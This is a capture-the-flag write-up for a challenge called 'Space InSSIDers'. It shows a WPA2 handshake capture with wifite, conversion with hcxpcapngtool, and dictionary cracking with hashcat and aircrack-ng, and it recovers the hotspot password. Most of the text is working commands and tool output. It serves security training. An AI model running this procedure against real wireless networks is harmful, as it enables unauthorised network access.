Write-up — Space InSSIDers

Author: sl0wguy - Léopold
Category: Misc
Difficulty: Medium
Flag format: `AMSI{PASSWORD}`

Prompt

You've intercepted the **"INVADERS_78"** hotspot, which is WPA2 protected. A sticky note reveals that the password follows this format:

- Contains `invaders` (case-sensitive)
- **Exactly 2 digits**
- **Exactly 2 special characters**

Valid example: `InvADers78!@`

Step 1 - Capturing the handshake with Wifite

```
$ sudo wifite

    .                     .
  .´   .   .       .   ·   `.    wifite2 2.6.0
  :   :   :  (¯)   :   :   :     a wireless auditor by derv82
  `.  ·   ` /¯\ ´   ·   .´      maintained by kimocoder
    `      /──\      ´           https://github.com/kimocoder/wifite2

  [!] Warning: Recommended app bully was not found. install @
https://github.com/aanarchyy/bully
  [!] Warning: Recommended app pyrit was not found. install @
https://github.com/JPaulMora/Pyrit/wiki
  [!] Warning: Recommended app macchanger was not found. install @ apt
install macchanger
  [!] Conflicting processes: avahi-daemon (PID 719), NetworkManager (PID
727), wpa_supplicant (PID 779), avahi-daemon (PID 795)
  [!] If you have problems: kill -9 PID or re-run wifite with --kill

    Interface    PHY    Driver              Chipset
  --------------------------------------------------------------------
  1. wlo1        phy0   iwlwifi             Intel Corporation Comet Lake PCH-
LP CNVi WiFi

  [+] enabling monitor mode on wlo1... enabled wlo1mon

    NUM                      ESSID   CH  ENCR   POWER  WPS?  CLIENT
    ---  -----------------------  ---  -----  -----  ----  ------
```

```
      1                Livebox-1460    6  WPA-P  77db  lock
      2                Bbox-BD2AF24F   6  WPA-P  77db   no
     ..                ...................................
     23                 INVADERS_78    6  WPA-P -26db   no
 [+] select target(s) (1-23) separated by commas, dashes or all: 23

 [+] (1/1) Starting attacks against 34:29:12:14:3A:E6 (INVADERS_78)
 [+] INVADERS_78 (-26db) PMKID CAPTURE: Failed to capture PMKID

 [+] INVADERS_78 (90db) WPA Handshake capture: Captured handshake
 [+] saving copy of handshake to hs/handshake_INVADERS78_34-29-12-14-3A-
 E6_2025-06-10T23-43-42.cap saved
 .....

 $ sudo airmon-ng stop wlo1mon
```

After scanning available networks, we target `INVADERS_78`. The handshake is successfully captured and saved as a `.cap` file:

```
 hs/handshake_INVADERS78_34-29-12-14-3A-E6_2025-06-10T23-43-42.cap
```

Step 2 - Converting the .cap to hashcat format

```
 $ hcxpcapngtool hs/handshake_INVADERS78_34-29-12-14-3A-E6_2025-06-10T23-43-
 42.cap -o INVADERS.hash
```

A `.hash` file is generated, ready for brute force or dictionary attack.

Step 3 - Cracking with Hashcat

We use a custom wordlist generator that follows the required format:

- `"invaders"` with casing variations
- 2 digits (00–99)
- 2 special characters (`!@#$%^&*()`, etc.)

Total combinations: about **14 million**. Then run:

```
 $ hashcat -m 22000 INVADERS.hash passwords.txt

 hashcat (v6.2.5) starting

 * Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see:
```

```
https://hashcat.net/q/timeoutpatch
* Device #3: WARNING! Kernel exec timeout is not disabled.
            This may cause "CL_OUT_OF_RESOURCES" or related errors.
            To disable the timeout, see:
https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 12.4)
====================
* Device #1: NVIDIA GeForce GTX 1060 3GB, 2657/3003 MB, 9MCU

.......

5f0a50d5a8ab78612c7d80972fb80b23:342912143ae6:4827ea1c1777:INVADERS_78:inVA
DerS09+!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: ./INVADERS.hash
Time.Started.....: Tue Jun 10 23:52:25 2025 (1 min, 18 secs)
Time.Estimated...: Tue Jun 10 23:53:43 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (./passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   116.1 kH/s (5.16ms) @ Accel:4 Loops:256 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8994816/14745600 (61.00%)
Rejected.........: 0/8994816 (0.00%)
Restore.Point....: 8976384/14745600 (60.88%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: INvADerS84:; -> inVADerS15|{
Hardware.Mon.#1..: Temp: 52c Fan: 46% Util: 54% Core:1949MHz Mem:3802MHz
Bus:16

Started: Tue Jun 10 23:52:24 2025
Stopped: Tue Jun 10 23:53:44 2025
```

Result

```
5f0a50d5a8ab78612c7d80972fb80b23:342912143ae6:...:INVADERS_78:inVADerS09+!
```

The WiFi password is:

```
inVADerS09+!
```

Alternative: Cracking with Aircrack-ng

```
$ aircrack-ng hs/handshake_INVADERS78_34-29-12-14-3A-E6_2025-06-10T23-43-
42.cap -w passwords.txt
...
                                Aircrack-ng 1.6

      [00:15:12] 9099600/14745600 keys tested (10145.05 k/s)

      Time left: 9 minutes, 16 seconds                          61.71%

                          KEY FOUND! [ inVADerS09+! ]


      Master Key      : 9A BA 8D D1 C8 3A 49 48 D6 30 E0 10 CC 8C 61 F2
                        4C 40 92 89 F8 17 36 B8 85 FB 9D F1 80 69 89 4B

      Transient Key   : B3 24 3D DF 00 20 06 A0 1C 5C EC 68 E5 8C F4 5C
                        1D 86 D6 18 20 6A 71 6F 20 5A 45 A7 68 83 D0 A1
                        84 15 74 0F 88 F9 BB 1B 5C D4 18 22 D0 CB 71 00
                        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

      EAPOL HMAC      : 5F 0A 50 D5 A8 AB 78 61 2C 7D 80 97 2F B8 0B 23
```

It works too, but takes ~25 minutes instead of 2 minutes with hashcat + GPU.

Flag

```
AMSI{inVADerS09+!}
```